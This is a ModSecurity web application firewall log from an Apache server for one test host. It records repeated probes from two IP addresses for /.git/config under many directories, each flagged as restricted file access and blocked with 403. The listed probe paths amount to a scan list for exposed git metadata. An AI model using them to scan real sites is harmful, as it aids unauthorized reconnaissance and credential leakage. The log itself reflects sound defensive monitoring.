[Thu Jan 16 14:20:45.992210 2025] [:error] [pid 510629] [client 45.135.232.70:49556] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2wAAAAw&quot;]
[Thu Jan 16 14:20:45.996788 2025] [:error] [pid 511460] [client 45.135.232.70:49466] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/custom-theme/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/custom-theme/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fwAAAAA&quot;]
[Thu Jan 16 14:20:45.997050 2025] [:error] [pid 511460] [client 45.135.232.70:49466] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/custom-theme/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fwAAAAA&quot;]
[Thu Jan 16 14:20:45.997987 2025] [:error] [pid 510615] [client 45.135.232.70:49588] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uwAAAAk&quot;]
[Thu Jan 16 14:20:45.998588 2025] [:error] [pid 500655] [client 45.135.232.70:49584] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwziAAAAAM&quot;]
[Thu Jan 16 14:20:45.998691 2025] [:error] [pid 510637] [client 45.135.232.70:49626] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VfAAAAA8&quot;]
[Thu Jan 16 14:20:45.998940 2025] [:error] [pid 510637] [client 45.135.232.70:49626] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VfAAAAA8&quot;]
[Thu Jan 16 14:20:45.999098 2025] [:error] [pid 510637] [client 45.135.232.70:49626] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VfAAAAA8&quot;]
[Thu Jan 16 14:20:45.999174 2025] [:error] [pid 500655] [client 45.135.232.70:49584] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwziAAAAAM&quot;]
[Thu Jan 16 14:20:45.999527 2025] [:error] [pid 511460] [client 45.135.232.70:49466] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/custom-theme/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fwAAAAA&quot;]
[Thu Jan 16 14:20:45.999664 2025] [:error] [pid 500655] [client 45.135.232.70:49584] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwziAAAAAM&quot;]
[Thu Jan 16 14:20:46.001763 2025] [:error] [pid 510616] [client 45.135.232.70:49492] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PwAAAAo&quot;]
[Thu Jan 16 14:20:46.001971 2025] [:error] [pid 510616] [client 45.135.232.70:49492] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PwAAAAo&quot;]
[Thu Jan 16 14:20:46.002602 2025] [:error] [pid 500653] [client 45.135.232.70:49540] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z4kHrpWbe3YhcT1jDQtNEQAAAAE&quot;]
[Thu Jan 16 14:20:46.002765 2025] [:error] [pid 510615] [client 45.135.232.70:49588] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uwAAAAk&quot;]
[Thu Jan 16 14:20:46.002930 2025] [:error] [pid 510615] [client 45.135.232.70:49588] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uwAAAAk&quot;]
[Thu Jan 16 14:20:46.003231 2025] [:error] [pid 500653] [client 45.135.232.70:49540] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z4kHrpWbe3YhcT1jDQtNEQAAAAE&quot;]
[Thu Jan 16 14:20:46.003682 2025] [:error] [pid 500653] [client 45.135.232.70:49540] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z4kHrpWbe3YhcT1jDQtNEQAAAAE&quot;]
[Thu Jan 16 14:20:46.014525 2025] [:error] [pid 501744] [client 45.135.232.70:49406] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Z4kHrpu1_bwn-OVhpZOlIwAAAAY&quot;]
[Thu Jan 16 14:20:46.014704 2025] [:error] [pid 501744] [client 45.135.232.70:49406] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Z4kHrpu1_bwn-OVhpZOlIwAAAAY&quot;]
[Thu Jan 16 14:20:46.014874 2025] [:error] [pid 501744] [client 45.135.232.70:49406] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Z4kHrpu1_bwn-OVhpZOlIwAAAAY&quot;]
[Thu Jan 16 14:20:46.025641 2025] [:error] [pid 507252] [client 45.135.232.70:49470] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Z4kHrs9-aCDtrS8J08kNtgAAAAc&quot;]
[Thu Jan 16 14:20:46.026004 2025] [:error] [pid 507252] [client 45.135.232.70:49470] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Z4kHrs9-aCDtrS8J08kNtgAAAAc&quot;]
[Thu Jan 16 14:20:46.026405 2025] [:error] [pid 507252] [client 45.135.232.70:49470] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Z4kHrs9-aCDtrS8J08kNtgAAAAc&quot;]
[Thu Jan 16 14:20:46.072907 2025] [:error] [pid 510617] [client 45.135.232.70:49432] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /utils/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/utils/.git/config&quot;] [unique_id &quot;Z4kHrh0GqQT5iX5c5mKiMgAAAAs&quot;]
[Thu Jan 16 14:20:46.073479 2025] [:error] [pid 510617] [client 45.135.232.70:49432] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/utils/.git/config&quot;] [unique_id &quot;Z4kHrh0GqQT5iX5c5mKiMgAAAAs&quot;]
[Thu Jan 16 14:20:46.073899 2025] [:error] [pid 510617] [client 45.135.232.70:49432] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/utils/.git/config&quot;] [unique_id &quot;Z4kHrh0GqQT5iX5c5mKiMgAAAAs&quot;]
[Thu Jan 16 14:20:46.088712 2025] [:error] [pid 510631] [client 45.135.232.70:49596] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Z4kHrqll1LqbFli-TYExYwAAAA4&quot;]
[Thu Jan 16 14:20:46.089265 2025] [:error] [pid 510631] [client 45.135.232.70:49596] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Z4kHrqll1LqbFli-TYExYwAAAA4&quot;]
[Thu Jan 16 14:20:46.089659 2025] [:error] [pid 510631] [client 45.135.232.70:49596] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Z4kHrqll1LqbFli-TYExYwAAAA4&quot;]
[Wed Jan 22 04:45:30.736189 2025] [:error] [pid 632325] [client 52.63.44.47:33398] [client 52.63.44.47] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z5Bp2vJuKYPwpE6HVmkWfwAAAAc&quot;]
[Wed Jan 22 04:45:30.737677 2025] [:error] [pid 632325] [client 52.63.44.47:33398] [client 52.63.44.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z5Bp2vJuKYPwpE6HVmkWfwAAAAc&quot;]
[Wed Jan 22 04:45:30.738011 2025] [:error] [pid 632325] [client 52.63.44.47:33398] [client 52.63.44.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z5Bp2vJuKYPwpE6HVmkWfwAAAAc&quot;]
